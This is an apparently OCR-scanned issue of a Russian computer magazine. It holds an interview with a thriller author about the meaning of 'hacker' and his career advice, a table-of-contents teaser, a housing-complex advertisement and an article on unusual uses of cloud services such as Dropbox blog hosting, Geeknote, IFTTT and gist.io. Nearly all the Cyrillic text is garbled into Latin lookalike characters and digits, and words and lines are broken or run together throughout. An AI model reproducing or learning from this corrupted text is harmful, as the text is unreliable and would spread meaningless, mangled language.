KHWI"A HYJIEBOI'O 1H

B cBOe BpeMsi C/IOBY «XaKep» MbITaNuCh NPUAATDH
HEeraTMBHYIO OKpacKy, HO U3HaYaNbHO CYUTANOCh,
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4TO XaKep — YesoBek, KOTOpbIN XopoLlo pa3bu-
paeTcs B KoMMbloTepax. M To/1bko NoTOM 370 CN0BO
Hayano accoLMMpoBaThCs C YeM-TO BPEAOHOCHBIM.
[lns MeHs oHo cofiepuT 0ba 3TN NOHATHS, B 3a-
BWMCMMOCTM OT KOHTeKcTa. MoXHo ckasaTb: «Bac
KTO-TO XaKHys1». CeTeBble CeLuanucTbl v cne-
LMannCTbl No 6e30MacHOCT UCMOAbL3YIOT CI0BO
«XaKep» UMeHHO B 3ToM cMbicie. OfHaKo xakep
TakKe 03HayaeT 1 YenoBeka, MacTepcky Bnageto-
LLLEro KOMMbTEPOM.

He 3Halo, Mory nu 51 Ha3biBaTb ce6s XakepoM.
Hwvkorpa He fyman o cebe kak o xakepe. Ckopee
Kak 0 nporpammucte. [lymMato, XxakepCTBO A5 MeHs
3HauuT, 4To Heobs3aTelbHO MOHWUMATL BCe,
4TO Tbl je1aellb, HO HYXXHO MOHWMAaTL AOCTATOYHO,
4TobbI gOCTUraTh pe3ynsTaToB. A 5 ckopee cTapa-
foCb MO3HaTb HayKy JOCKOHAIbHO W UL NOTOM
NPUNOKUTL 3TV 3HAHWS K NporpaMMnpoBaHuio. Tak
4TO He YBEPEeH, 4To roToB Ha3BaTb cebs xakepom
B MOSIHOM CMbICJle 3TOr0 C/10Ba.

fl Bcerpa xoTen HanucaTb KHUry. B getcTee
f YMTaN HayyHyto GaHTacTUKy 1 TeXHOTpUAEpEI,
¥ MeHsl BCeraa BOCXMLLAO NepernieTeHne TEXHOO-
VU 1 XOPOLLIEero cloxeTa. 370 Oblfl MHTEPECHbIN Bbl-
30B [/1 MEHSl — MOHSATb, CMOTY SN 9 3T0 CAeNatb.

Upes kHurn Zero Day Bo3HMKNa Y MeHs ewye
B 2004 ropy, Korfa st 0Co3Han puck kubeptep-
popv3Ma 1 0MacHOCTb XakepoB, KOTOPble MO
HaHEeCTU peasibHbli Bpes. 3T0 04eHb HacyLLHas
yrpo3a. Okasanocs, 4to EBrenunit Kacnepckuii co-
rfaceH Co MHOW 1 B NOC/ieHee BPEMS TOXKE MHOI0
roBopuT 06 3TOM.

fl xoTen nof4epKHyTb CBA3AHHbIE C 3TUM
PUCKK, OHECTU A0 NIloAel peanbHOCTb Yrpo3bl.
B 70 e BpeMsi bbif0 04eHb MHTEPECHO HamucaThb
UCTOPYUIO, B KOTOPOM TEXHONOTMM 1 MU Knbepbe-
30MacHOCTH bblau bbl onucaHbl peannctnyHo. Cy-
LeCTBYET He Tak MHOrO KHUT (noxanyi, 4 He 3Halo
HW O[JHOW), B KOTOPbIX aBTOPbI MOMbITANUCH Bbl
pacckasaTb JIoAsIM, KakoBa XW3Hb YenoBeka, pa-

XAKEPCTBO ANA MEHA 3HAYMT, 4TO

HEOBA3ATEJIbHO NOHUMATD BCE, 4YTO Thl
AEJIAELWLb, HO HY)XHO NOHUMATDb A0CTA-
TOYHO, 4TOBbl AOCTUIATb PE3YJIbTATOB
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boTalowero B obnactu knbepbesonacHocth. A 51 xo-
Ten, YyTobbl MOA KHMra ctana UMeHHo Takow. MNntoc
1 XOTes pacckasaTb XOPOLLYI0 UCTOPUMIO U 04epTUTh
pucku. Tak 4To KHWUra bn3Ka K peanbHOCTY.

Bbin1o npopano 6onbLuoe KoNMYECTBO 3K3eM-
NAApOB, [OCTaTOYHOE ANS TOro, YTODbI M3faTeNb-
CTBO 3aMpocuo NPOAOSIKEHNE, KOTOPOE BbILLIO
Heckombko MecsLeB Hasag. M oHu nognucany MeHs
Ha eLle iBe KHUTW.

COBETbl MAPKA

YT06bI cTaTh ycnewwHbIM B [T, HY)XXHO HalNTK
obnacTb, KoTopasi Tebe MHTepecHa. 061acTb, B Ko-
Topoi paboTaeT He Tak MHoro nitofeit. 06bI4YHO 3TO
03HaYaerT, YTo OHa [0CTATOYHO CNOXKHAR, — Befb
JIOAN CTapatoTcs fiepXaTbCs noAasblie oT TPYAHO-
cTei. f Hallen UMeHHO TaKyto.

B Takoii o6nacTn byaeT Kyaa MeHblUe KOHKY-
PEHLMM, U TBOSA LIeHHOCTb Gy/ieT 04eHb BbICOKa.
HyXHo HalnTh MakcuMyM nHdopMaLMm no TeMe,
13y4nTb ee Kak MoxHo rnybxe. Ecnu pabota
He CoBMajaeT C TBOMM UCTUHHbLIM yBJIEYEHWEM, TO,
CKopee BCero, Thl Bbibpan He Ty npodeccuto. M sTo
NPUMEHNMO He ToNbKo K IT.

U nocnepHee — nonyuaiite o6pasoBaHue.
[To-MoeMy, 370 o4eHb BaxkHo. Cetyac MHorue niogu
obxopsTcs 6e3 0bpasoBaHuMs, HO, MHe KaxeTcs,
0bpa3oBaHue JaeT CTPYKTypy, BbipabaTbiBaeT nog-
XOf, K 0by4eHwto, @ 3T0 MoNIe3HO — MoMOoraeT Jierye
CXBaTbIBaTb NPUHLUMNbI. B MoeM cyyae 370 bbino
0YeHb LIeHHo. 35
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29 cTpaHuL, Ha 0fHOM nooce.
Tn3ep HekoTOpbIX CTaTEMN.

Preview

PCZONE

BJIACTb TOJINE

36 HekoTopble NpoAYyKTbI HECMOCOOHbI Bbl-
3BaTb MHTEPEC MHBECTOPOB B INLLE KPYMHbIX
BEHYYPHbIX QOHAO0B MW UMEHUTBIX NPej-
npuHUMaTenei, HeCMOTPS Ha BCO CBOKO e~
HManbHOCTb. K cyacTblo, AN Takux clyyaes
nosiBUNach MHTEPECHas anbTepHaTMBa —
nnatdopma Kickstarter.

CeenoMoLLbio aBTOPbI MPOEKTOB MOTyT
YCTPaHUTb MOCPEJHUKOB M UCKaTb GUHAH-
CMPOBaHMS HeMocpefCTBEHHO Y CBOE Lie-
nesoiayautopuu. OfHaKo Aas Toro, 4Tobbl
3aCTaBUTb IOAE NOBEPUTL BTEOSA M NpO-
roflocoBaTh KOLWEbKOM, He0bX0ANMO
Kak ciefyeTnoAroToBUTLCS. YnuTam vn-
CTPYKLMIO OT NI0A M, UMEIOLLMX peasibHbli
0nbITPaboTbl C HOBOW NNOLAAKOW.

PCZONE X-MOBILE

HACEAbMOMHEBE BOJIbLLAA TPOMKA JNIYYLIEE—/PYI XOPOLLEr0
32 B 3Tom MaTepuane mbl cobpany camble ﬂ MopBOAMM NTOT NEPBOM NATUNETKM MpakTuyeckoe pykoBoACcTBO N0 cHopke
HecTaHAapTHble NPUMEHEHWS MPUBbLIYHbIX BHOBeWLIEN UCTOPUN MOBUBHOTO pPbiHKa: cobcTBEHHOI NpolwmnBkn ans Android-

0671a4HbIX CEPBUCOB.

Android, i0SnWindows Phone 7.

MALWARE

cMapTgoHa.

NPEACKA3AHUA CBbIBAIOTCA

CSRFBMACCDI!

70 MoapobHbIiaHanN3 HOBbIX BEKTOPOBaTak
HareHepaTop NceBAOCyYaNHbIX YNCen
BCoBpeMeHHbIx Bepcusix PHP.

Kak 6aHHeprIe CeTuno3BoONAKTNPOBO-
AUTbaTakn c MakcMMasibHbIM 0XBAaTOM
nnpuenekaTesibHbIM KyLLEeM.

KPUNTOPOMMNOAHTUBUPYCY

E CvKBes 419 NpoLwWwiorogHero TecT-
LpaiiBa ceMu nonysipHbIX aHTUBUPYCOB
CHEOXUAAHHbIM pe3ybTaToM.
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A“Mannu

XXUNOU KOMMNNEKC

«MELWLEPUXNHCKME
ABOPUNKWN»

A

Mo BONMPOCAM NMPUOBPETEHUA KBAPTUP B XK «MELLEPUXVUHCKUWE ABOPUKW»
(<MOHOJIUT HEABVMXXUMOCTDb») I. MOCKBA, VJ1. BAYMAHCKAS, AOM 33/2, CTP. 1

141006, MockoBckasi 0bnacTb,
r. Mbituwm, OnMMnniAcKniA NPOCNEKT, 4. 48

Ten.: (495) 660 96 31, (495) 662 74 50,
dakc: (495) 660 96 41

Mpynna komnauumn «NMoHoOnNMT» NpurnawaeTr K 3Ha-
KOMCTBY C HOBbIMM XW/bIMU AOMaMM B KOMMJEeK-
ce «MeuwepuxuHcKkue ABOpuKu» Ha ynuue Mono-
AE€XXHOMW YIOTHOro NOAMOCKOBHOIro ropoaa JIooHs.

[o mMecTa BCTpeyn MOXKHO [obpartbcsi OT M. AnTypbeB-
ckas aBTobycom Ned59 nnu ¢ CaBenoBCKOro Bok3asna Ha
NPUropoaHon anekTpnyke Ao cT. JTobHs panee 7-10 MUH.
aBTo6ycom Nel. Bavykaniume TpaHCNOPTHbIE MarncTpa-
n — OMntpoBcKoe, JleHnHrpagckoe wocce.

B »xunom komnnekce «MeLepnxnHckmne gBopuKm»

BacC >XAyT ABa NpekpacHbIX 17-3TaXXHbIX OBYXMNOABbE3M-
HbIX gomMa nog Homepamu 14a n 146. 310 — HageXHble
MOHONUTHO-KUPMNNYHbIE 30aHNS, OCHALLEHHbIE BCEM
Heob6xXoaMbIM ONS XKN3HW, B TOM YUCSIe FPY30BbIM

N NacCcaXKnpckum nudgramu.

30ech Bbl CMOXKETE BblbpaTh A5 cebsi CBET/ble 1 MPO-
CTOPHbIE KBApPTUPbI COBPEMEHHON MNTAHNPOBKN — OAHO,
OBYX 1 TPEXKOMHaTHble. B KBapTupax npeayCcMOTPEHbI
NiacTKOBbIE CTEKITOMNAKETbI, paamaTopbl C TEPMOpEeryns-
TOpaMU, SNEKTPOPaA3BOAKA, 3aCTEKIIEHHbIE JIOMKN U T.4,

[Ons niobuTenei NPorynok opraHn3oBaHa 30Ha oTablX,
yKpalleHHas AeKopaTUBHbIMU KyCTapHUKaMU 1 0epeBbs-
MK, GnaroycTpoeHHas urposas nnoLlanka ans oeten,

a On1s aBTOMOBUNNCTOB — CTOosiHKA. Monogpix pogutenei
rnopagyeT HOBbIi AETCKUI caf B LUAroBol OOCTYMHOCTU.

lpynna komnaHuii «MoHONNT» HAOEEeTCs, YTO Nocne nep-
BOW >Ke BCTPeUN C HOBOW KBapTUpPOW, y Bac BO3HVKHET C
Hel B3auMHasa CUMMaTus U OONrMe HAAEXXHbIE OTHOLLIEHMS.

YcnoBus npuoGpeTeHnsa KBapTUP: paccpoyka nna-

TeXka, nnoteka, B3anMo3adéT Baluer ctapoi KBapTupsbl

Ha Bawy HoByto. BoamoxkHbl ckngky npu ycnosun 100%
onnarbl ¥ ICNONB30BaHNM UMOTEYHOIO KpeauTa.

(495) 739-93-93
(495) 967-65-57



FPYMMNA KOMMAHUA «MOHOJNT» - OOHO N3 KPYMHENLLX MPEANPUATUIA-NTNOEPOB
MOCKOBCKOW OBJIACTW, AEVCTBYHOLLINX HA CTPOUTETbHOM PbIHKE C 1989 FOJA.
OCHOBHbIM HAMPABJTEHVEM OEATENBHOCTW MPYMMbl KOMMAHUIA «MOHOMUT» ABJIAETCA
BO3BELEHVIE XXWJ1bIX 30AHNW 1 OB bEKTOB COLIMAJIBHOIO HASHAYEHWSA MO MHAOWVBU-
AOYAJIbHbIM NMPOEKTAM. B OCHOBE JIEXXUT TEXHOJIOIMMA MOHOJIMTHOIO JOMOCTPOEHUA.

C noapoGHbLIMM CXemaMy NJIAHMPOBOK KBapTUp

M NPOEKTHOW AeKnapauyein MOXXHO 03HaKOMUTLCSA
Ha cante www.gk-monolit.ru unm B ochuce
KoMnaHun «MOHONUT HEABMIXXUMOCTb»

Mpynna «MoHoNUT» akTUBHO paboTaeT ¢ Beaywmummn
6aHKamMu o nporpaMmmam UNOTEe4YHOro KpeauTo-
BaHuA. Oco60e BHUMaHue yaensieTcsi npaBoBom
3alMLLLEeHHOCTU KIIMEHTOB, NpuobpeTaTene
XKUNbA U HEXXWUJIbIX MOMELLEeHUIA.

“ MO BONPOCAM APEH/ibI NOMELLEHUI
A (000 «MOHONIT APEH[A)

[opopn pacnonoxxeH B neconapkosom 3oHe lNoa-
MOCKOBbS1, B 6/I>KaNLLEM OKPY>KEHUN MMEIOTCS
>KMBOMUCHbIE 03epa 1 npyapl. Hepaneko ot J1o6HM —
aHcambsb 6biBLLEN Yycaabbbl MapdrHO, HECKONBKO
LEHTPOB PYCCKMX HAapPOOHbIX NPOMbIIOB. KynkTypHas
>KN3Hb ropofa CoOCpenoToYeHa B OCHOBHOM B KyJsib-
TYPHO-A0CYroBOM LieHTpe «YHalka» 1 napke KynsTtypbl
n OTabixa, eCTb TeaTpbl U My3eW, Xy[40)KECTBEHHAS
rannepes. ns nobutenen cnopra — gBa bacceiHa,
NnefoBbIi KaTok, [Bopey cnopTa «J106HS>».

(985) 727-57-62



PACLULUPAEM OYHKLUUOHAJIBHOCTDb
OBJIA4YHbIX CEPBUCOB

0 IHS CTaHOBS

Hanbonee MHTEPEeCHbIE peLlleHnd, KOTopble MO

XPAHUM KOHOUTW B GITHUB

Moaxoaut ans: GitHub

github.com/dotfiles/dotfiles.github.com

CTpaHHO, HO HEe MHOTUM U3BECTHO, YTO B Ce-
peavHe 2012 roga Ha GitHub nosBunace
BO3MOXHOCTb XpaHUTb goTdannbl. [na 3to-
ro OCTaTOYHO BOCMOJ/Ib30BAThCS NATYEM,

nponas no NpMBeLEHHON cchinke. PasymeeT-
cs, GitHub bypneT He npocTo BbICTynaTh ckna-
L,OM, HO NPeAoCTaBUT BO3MOXHOCTb peflak-

com), 4TO, M0 NX MHEHWNIO, U3YHEeHNE YYXKUX
noTdalinoB M 0bMEH onbITOM B 3TOM BONpoce —
npekpacHas LWKona, N03B0ALLAN LeNNTbCS

TUPOBAHMS, CUHXPOHU3ALWN U BOCCTAHOBAEHUS
KOHOWroB. Takxxe MOXHO fiennTbCs, 0bcyXaaTb
W TaK ganee, YTo yXe BMOJHE TPAAULMOHHO.

Cospatenu Takxe ysepsioT (dotfiles.github.

CBOMMMU 3HAHUSAMM C APYTUMM 1 y3HaBaTb
HoBoe. To eCTb CEPBUC MOXKET 0Ka3aTbCs MO~
NIe3eH elle v ¢ 3TOW TOYKM 3peHns. Brpoyem,
3T0, KOHEYHO, YXKE 1eS10 BKYCA AN KaXA0ro
pa3paboTyuka.

MPOCTOW 1 YHUBEPCAJbHbIV MTAHUPOBLLMK B OBJIAKE

Moaxoaut ans: Dropbox

tinyurl.com/cqkujwj

Todo.txt Touch — HeBeposTHO npocToe
npunoxeHue. MHOXeCTBO aHr10roBOPSLLMX
N0AeNn COCTaBNAOT N XPAHAT CBOM CMINCKN
Aen B 06bIKHOBEHHOM TeKCTOBOM daitnnke
todo.txt, 4To M nogMeTMNa Kak-To pa3 [xuHa
TpanaHnu.

Haxopa4nBas )eHLMHa HelapoM sBAseTCS
ocHoBaTesbHuuel Lifehacker, oHa pelwnna
C03/4aTb COOTBETCTBEHHOE NPUNOKEHME,
4TO C ycnexom u caenana. Ha cerogHawHni

AeHb cywecTsytoT Bepcuu Todo.txt Touch
nnq i0S, Android u gna Windows Phone 7.
[oBTOptOCh, MEHeAXep 3a4ay oT TpanaHu
upe3BblyaliHo NPOCT: COCTaBASEM CMUCOK
Lefl, yKa3blBasi NPUOPUTET UX BbIMOSHEHNS.
EcTb Takxe noafepxKa npoekToB U KOHTeK-
CTOB, HO 04YeHb orpaHunyeHHas. Kasanoch bbl,
4TO 34eCh HeobblyHOro? Beero ogHa ManeHb-
Kas fieTanb — 3afia4M XpPaHsaTCs B Npo-

cToM TekcToBoM daine B Dropbox. Ha ato

W [lenaeTcs ynop: HUKaKnUX NponpueTapHbIx
bopmaToB, CMUCOK e BCersa nog pykoi, ero

MOXHO OTKPbITb U MPOYECTH M OTPEAAKTUPO-
BaTb nofg noboint OC.

CTouT cKasaTb, 4To MobUIbHOE NpuoXe-
HWe NnaTHoe, xoTa 1 oboiigetcs Bceros $ 1,99.

XAKEP 01/168/ 2013
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XPAHM B OBJIAKE J10T' V1

Moaxoaut ansa: Evernote

geeknote.me

Evernote — wtyka nonynapHas. Mo opu-
LUManbHbIM AaHHbIM, B KoHLe 2011 roga
CepBMCOM M0J1b30BasIOCh CBbILLE BajLia-
T MUIMOHOB YenoBek. HeyaneuTenbHo,
4To ans Evernote co3aaHo HeMano nonesHbix
HafCTPOeK U HecTaHAapPTHbIX pewernit. OgHa
N3 TaKUX HEOObIYHbIX NN — KOHCO/bHbIN
KNIMeHT nof, HasBaHueM Geeknote. Ha nepBbiii
B3I MOXeT Noka3saTbes, 4to Geeknote —
UrpyLiKa AN rMKoB, He CAINLLIKOM noJsie3Has
B 6bITY. 3TO He coBceM Tak. C noMoLLbio
Geeknote 13 koMaHAHO’ cTPOKM Linux MoXHO
paboTaTb CO 3HAMEHUTLIM Be6-CepBUCOM
[TonbKO C TEKCTOBBIMK 3aMeTKaMu), 4To oT-
KpbiBaeT onpefieNeHHble BO3MOXKHOCTU.
Hanpumep, vcnonb3oBaTtb ero Ass XxpaHeHus
JI0r0B CepBepa UK e Ans paboTsl ¢ JOKY-
MeHTaMu Ha sa3bike Markdown.

OfiHa M3 0CHOBHbIX dULLEK KNINeHTa —
Ntobyto 3aMeTKy MOXKHO pefjlakTUpoBaThb
B 06bIYHOM KOHCOJIbHOM TEKCTOBOM pefak-

Tope, KoTOpbIi Tebe bonblue HpaBuUTCH, —
nano, mcedit v Tak ganee. Beoaum komMaHgy,
nepepaeM cnoso WRITE B kauecTBe aTpubyTa
KOHTEHTa, U OTKPbIBAETCH TEKCTOBbIN pefiak-
Top no ymonyaHuo. Mocne pefakTupoBaHus
3aMeTKM B pelakTope OHa NporoHseTcs
yepe3 Markdown-o6paboTunk v coxpaHseTcs
B Evernote.

Elle ofHa BaxHas U nonesHas ocobeH-
HOCTb — CUHXPOHU3ALLNA NOKANbHBIX AMUPEK-
Topuii ¢ paitnamu c bnokHotamu B Evernote,
peanu3soBaHHas 6narofaps NpUaOKeHM0
gnsync. Jliobble noru, oT4eThbl, LOKYMEHTHI
1 npoyee byayT aBTOMaTUYECKM [06aBNATHCS
B HY>HbI 610KHOT Evernote nocne Henpo-
LOMKMUTENbHOTO «laMaHcTBa». Mpumep
KOMaHfbl:

$ gnsync --path /home/project/~

xmpp/logs/ --mask "*.logs" <

--logpath /home/user/logs/«

XOCTWHI OJ1A BJIOTA 1 CMS

MoaxoauTt pns: Dropbox

Scriptogr.am, Calepin.co, Droppages.com, Pancake.io

Camoe npocToe «anbTepHaTUBHOE NpUMeHe-
HUe» 061a4HOMY XOCTUHTY NPULLNO B FrOI0BY
ceTeBbIM KynnbuHbIM NpakTUYeckn ofHOBpe-
MEHHO C BO3HWKHOBEHMeM camoro Dropbox.
KoHeyHo xe, Dropbox MoxHo ncrnonb3oBathb
B KayecTBe XOCTUHIa A5 CBoero caiita/6o-
ra. Llenblii psa BcnoMoraTenbHbIX CEPBUCOB
NO3BOINT CNPaBUTHLCA C 3TOW 3ajayen byk-
BaJIbHO B AABa KJIUKa.

Moxanyi, camMble U3BECTHbIE N NPOCTblE
pelleHus fas co3gaHus bnora Ha Dropbox —
370 Scriptogram u Calepin. B 06onx cnyyasx
[0CTaTOYHO 3alTU Ha CalT, aBTOPU30BaTbCA
B Dropbox, fatb npunoxexuto [obpo Ha go-
CTYnN, @ 3aTeM BBECTW UM 1 KpaTKoe onuca-
Hue bnora. Calepin Takxe nonpocuT ykasatb
noruH B Twitter, 4Tobbl ckonMpoBaTh OTTYAA
aBaTap u fobaBnTb Kk brory kHonky «Follow».
Ha BbIXoAe Mbl nonyyaeM afpec Buaa
«scriptogr.am/noruu» uam «norun.calepin.
CO» W KpaliHe NPUMUTUBHbINA, HO paboTatoLyuit
bnor. Kak co3faBath HOBbIe 3anucy, pas-
bepeTcs paxe ganekuii ot IT yenosek. A TeMm,
KTO pa3bupaeTcs B TeMe, 0KaXyTCs NOe3Hbl
bonee NpoABKHYTbIE BO3MOXHOCTU — NpU-
KpyTuTb K 61101y Google Analytics, nobaButh

KoMMeHTapuw yepes Disqus, BO3MOXHOCTb
LenaTb OTNIOXEHHbIE NOCThI U TaK faree.
Scriptogram Takxe nogAepXunBaeT TeMbl
opopMeHUs, yMeeT aBTOMaTUYECKM MOCTUTD
B COLManbHble CETU U UMeeT COBCTBEHHbIN
AP| pns pefaktopoB. YyTb 6onee COXKHbIN
BapuaHT Nno co3faHuio bnora npeanaraeT Ham
Droppages. 3nech Tl Laxe MOXeLlb cpasy
noAyMmatb 0 An3aiiHe, BbibpaB 0fHY U3 Tpex
npefcTaBNeHHbIX TeM obopMieHus (kakoe
nsobunue!). lanee Temy npugeTcs ckayatb
1 pacnakosaTb B Dropbox, B 3apaHee co3-
[aHHYylo nanky Buga your_name.droppages.
com. Hy a nocne geno 3a ManbiM — paclua-
pYBaeM Co3AaHHYyI Nanky, Bo BCMbIBatoLLen
¢dopme BBOAMM appec serveri@droppages.
COM W CMUPEHHO XJEM, KOTf,a Co3faTenn
cepBwca 3aanpyBssT Hawy 3asBKy (ga, 370 ge-
naetcs Bpy4Hyto). Byana! — caiiT rotos. Bee
TEKCTOBOE COLEPXMMOE HaXo[UTCs B Nanke
«Content» 1 MoXeT ObITb 0TPEAAKTMPOBAHO
B ft0boM pepakTope. TeMy Takxe MOXHO
NpU XenaHn NoAnpaBuTb UK nepefathb
BOBHeE.

Ewe opHo peweHne — Pancake.io. OnsaTb
Xe [ocTaToyHo aBTopu3aunu B Dropbox,

xmpp2evernote.log «

--notebook "XMPP logs"

B LenoM y KnneHTa MHOTO NPUATHBIX
ocobeHHoCTel. K npumepy, MOXHO co3aaBaTb
3aMeTKy HamnpsMylo Yepes KOHCOJb UNIU YKa-
3aTb B KaYeCTBE UCTOYHMKA TEKCTOBbIN daiin.
[ina nocnenHero dygeT LOCTAaTOYHO KOMaHAbI:

$ geeknote create --title «

"Web-site queues" --content /home/~
website/queues.log --notebook «
"Projects" --tags "queues, logs"

KcTaTw, Ha caitTe paboTaeT MHTEPaKTUBHbIA

Be6-TepmuHan (geeknote.me/try). MoxHo

0I'Ip06083Tb KJINEeHT, HNYero He CKa4yuneag.

nocJie Yero MOXHO 1erko TpaHcGOpMMpoBaTh
dainsl (txt, md, jpg, jpeg, png, gif, pdf, doc,
docx, xls, xIsx, ppt, pptx) B MaTepuansl 6nora/
caiTa. MoXHO TakXe co3faTh COBCTBEH-
Hyto TeMy 0pOpMIIEeHUS, @ He UCMOoNb30BaTb
roToBble.

3aMeyy, 4TO NPaKTUYECKN BCe Nepeyunc-
NeHHoe paboTaeT 6narofaps A3biky pasMeTku
Markdown v coBeplueHHo 6ecnnaTHo. Oa-
HaKo He cTouUT 3abbiBaTb, 4TO Yy becnnatHoro
Dropbox ecTb orpaHuyeHue Tpaduka (20 6
B [leHb), KOTOpPOE pacnpocTpaHseTcs Ha Bce
OTKPbITblE Manku. 3anycTuTb CBEPXMNONyasp-
HbI/ 60T BPSIA M NOAYYUTCH — aKKayHT
MOryT 3acycrneHAnTb. YTobbl Takoi npobnemsl
He BO3HWKJI0, MOXHO NMonpoboBaTh XpaHUThb
$0T0-, ayAN0- N BULEOKOHTEHT B PYroM
MecTe, BCTaBNAs ero B bor no Mepe Hajob-
HOCTW.
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CUHXPOHN3VPYEM KHWT I C ANDROID-TIJTAHLLUETOM

Moaxoaut ans: Dropbox

tinyurl.com/dyvmj7x

Ewwe ofHo yaobHoe 1, 4TO XapaKTepHo, co-
BepLIEHHO becnnaTHoe peLleHre ¢ NoALepxK-
kol Dropbox — obnayHas untanka Fabrik
Reader. Android-npunoxeHue fns 4TeHus
3/IEKTPOHHbIX KHUKEK MOALEPKMBAET CaMble
aKTyaNbHble Ha cerofHs ¢opmaTsl txt, ePub

1 MOBI (PDF B 3KcnepuMeHTa bHOM pexume),
MOXET M0XBacTaTbCA YA0OHBIM 1 MPUATHBIM
UHTepdencoM, Ho Ha GOHe APYTUX «4UTaNnoK»
ero, KOHe4Ho, BbienseT 0bnayHas cocTas-

nstowas. Fabrik ymeeT cuHxpoHu3npoBaTtbes
¢ Dropbox. MpnToM MMeeTcs BO3IMOXHOCTb
CUHXPOHM3ALMM HE TOJIbKO CaMOii KOSIeK-

LMW KHUT, HO W TPOYUX HYXKHbIX NapaMeTposB,
M3MEeHseMbIX B MpoLecce YTeHus (nocnegHss
OTKpbITas CTPaHNLa, 3aKNafKu v Tak ganee).
3Ta 0COOEHHOCTb, KOHEYHO, 3HAYUTEbHO
06neryaeT MCMNob30BaHWe NPUNOXKEHUS
Ha pa3HbIX yCTPOMCTBAX.

Kak He TpyaHo foragaTbcs, Fabrik «3a-

CBA3BIBAEM BCE, 4T0 MOXXHO

Moaxoaut ana: YHusepcanex

ifttt.com

IFTTT — o4eHb yBobHbIN 1 U3BECTHBIN CEPBUIC,
LOCTOMHBIN OTAENbHOW pa3BepHYTOM CTaTby.
OH No3BONSIET CO3[aBaTh Pa3iUyHble peLenTsl
(Mawankl) Ans cBA3M caMbix pasHbix Be6-
MPUIOXKEHNIA APYT C APYToM (M He TosbKo).
Mpes IFTTT npocTa, Kak v Bce reHnansHoe,
— CTOPOHHWX CEPBUCOB MHOTO, MEXAY HUMK
MOPOM X0YEeTCH HAaNaANUTb KKOHTAKT», HO 3TO He
BCerga npefycMoTpeHo paspaboTtynkamu. bna-
ropaps IFTTT uckaTb «HapoAHble peLeHus»
bonblue He HYXKHO, Befib 3,eCb NPeACTaBEeHb
THICSYM YXKe roToBbIX peLenToB. K npumepy,
ecnu a nybnukyio 3anuce B Twitter, 06 3Tom
HY>XHO HanucaTb B Facebook, nnu MmoxHo

MYBJIMKYEM CTATBM B GITHUB

aBTOMATWUYeCKU COXpaHaThb B Instapaper Bce
cTaTbu, KoTopble 5 0TMeTuNa B Google Reader,
UM NoCbINaTh MHE Ha e-mail cooblieHne, ecnmn
3aBTpa byaeT foxzab. BapnaHToB MHOXeCTBO.
Mo>XHo co3AaBaTh CBOM peLleHns Uau BoC-
NoNb30BaTbCS YXKE FOTOBLIMMU.

0pHaKko MMeHHO NoAAEepXKa NpakTuye-
CKM BCeX NonynspHbix 061a4HbIX CEPBUCOB
pafyeT oThesbHOW CTPOKO. Bo3aMoxHoCTH
OTKPbIBAKTCSH NOYTW HEOrPaHNYeHHbIe —
aBTOMaTHYeckoe COXpaHeHue Bcex GpoTo-
rpadwii u3 Instagram s Dropbox, SkyDrive
“nmn apyroe xpaHunuuie. Tebs oTMeTUNN Ha
¢oTo B Facebook? ABTOMaTU4Yeckun coxpaHsem

Moaxoaut ans: GitHub

Gist.io

Alice In Wonderland
3 3%

ToYeH» [ UCMONb30BAHNS Ha CMapTHOoHax

n nnaHweTax. Knuexta gnsa PC HeT, n nonb3o-
BaTe/IM iAeBancoB ToXe noka He y aen. Bnpo-
yeM, cozfaTeny obewatoT B byayLLeM 1 HOBble
bopMaThl M KpoccnaaTGOPMEHHOCTb, NpaBaa,
HEN3BECTHO, KOra UMEHHO 3TOr0 X4aTb.

—
g

BoO=E=
e @M LM E
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Takue ¢oto B Dropbox. CroBoM, 38echk ecTb
MpaKTUYeCKM BCe, 4TO TOJIbKO MOF/I0 NPUIATK B
rofloBy: aBTOMaTUYeCKas apx1BaLus TBUTOB,
doTorpaduit, BefjeHve noros CBOEN CeTEBOM
aKTUBHOCTU B 3N1€KTPOHHbBIX Tabnunuax 1 Tak
Lanee, fanee, fanee.

[lobaBuUM K 3TOMY NpOCTON ¥ yA06HBbIN
nHTepdeiic, 57 kaHanos (MoaaepXuBaeMbIx
cepaucoB) u abconoTHyto becnnatHocTb. Eciu
Thl ele He nonb3yewsbcs IFTTT, HacToATeNbHO
pekoMeHAyio nonpoboBaTh ¥ yAMBUTLCS, Kak
Thi XM 6€3 3TUX YA0BHbIX MenioYeit paHblue :).

Alamrin Post
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OkasbiBaetcs, GitHub — 370 He TosbKO «Co-
uManbHaa ceTb A9 pa3paboTumkos» (Kak
XapaKTepu3yioT CBOM NpoeKT co3aarenu),
rae MoXHO pa3MmellaTb Kog U paboTaTtb Hag
npoekTamu. GitHub Takxe MoXxHo ncnonb3o-
BaTb HETPMBUANbHbLIM 06pa3oM, @ UMEHHO —
ANa ny6auKaumn ctatein/3aMeToK, He Noa-
LepX1Bas Npu 3TOM NOJTHOLEHHbIN B1or.
[ToMoXeT HaM B 3TOM Jiefe cepsuc gist.
i0, Ybe Ha3BaHUME HEABYCMbICJIEHHO HaMe-
KaeT Ha To, Kak UMeHHO Mbl byfieM nybimko-
BaTb KOHTEHT. Y GitHub ecTb cobcTBEHHbI

pastebin-cepeuc (gist.github.com) gns 6bi-
cTpon nybnukauum dparMeHToB KoAa, BOT
ero-To Mbl U Ucnonb3yeM. Kak nuwyT co3aa-
Tenu gist.io: «MHOrAa xo4eTcs NOAeNUTLCS
TEKCTOM, KOTOPbI/ He BNUCLIBAETCA B NPUBbIY-
Hble paMKu. Bo3MoXHO, xoueTcs nofenntbes
4eM-To co cnelnduyeckon ayantopmen,

He afipecysi TEKCT TeM, KTO 06bI4HO YnTaeT
BaL 6s10r. BO3MOXHO, TEKCT MPOCTO He yMe-
waetca B 140 cumBonios». B Takol cutyauum
Aaxe 3aBecTu pery B Tumblr — 370 yxe n3-
JINLWHWE YCUIUS N HEHYXKHble TENOABUKEHMS.

BoT 4yTo npepnaratwT paspaboTunku
gist.io: 3aBoAMM nybnuyHbIn gist Ha GitHub
c ofiHuM nnw bonee Markdown-daiinamu. 3a-
nomuHaem ID gist'a. Kak npaBuno, 370 yucino
BuAa 29388372. Beonum B cTpoke bpay3epa
«gist.io/TBOI-gist-ID» u HacnaxpaeMmcs ak-
KypaTHbIM TEKCTOM C NPaBUIbHON Pa3MeTKON,
3aroI0BKaMu, KapTUHKaMu 1 NpoYnMM CBU-
cTenkamu [Kak Bce 3T0 HACTPOMUTb W YTO MOA-
AEepPKMBAETCA, ONUCaHO Ha caiTe). YRobHbIi
cnocob, Hanpumep, Ana nybankauum ctatei
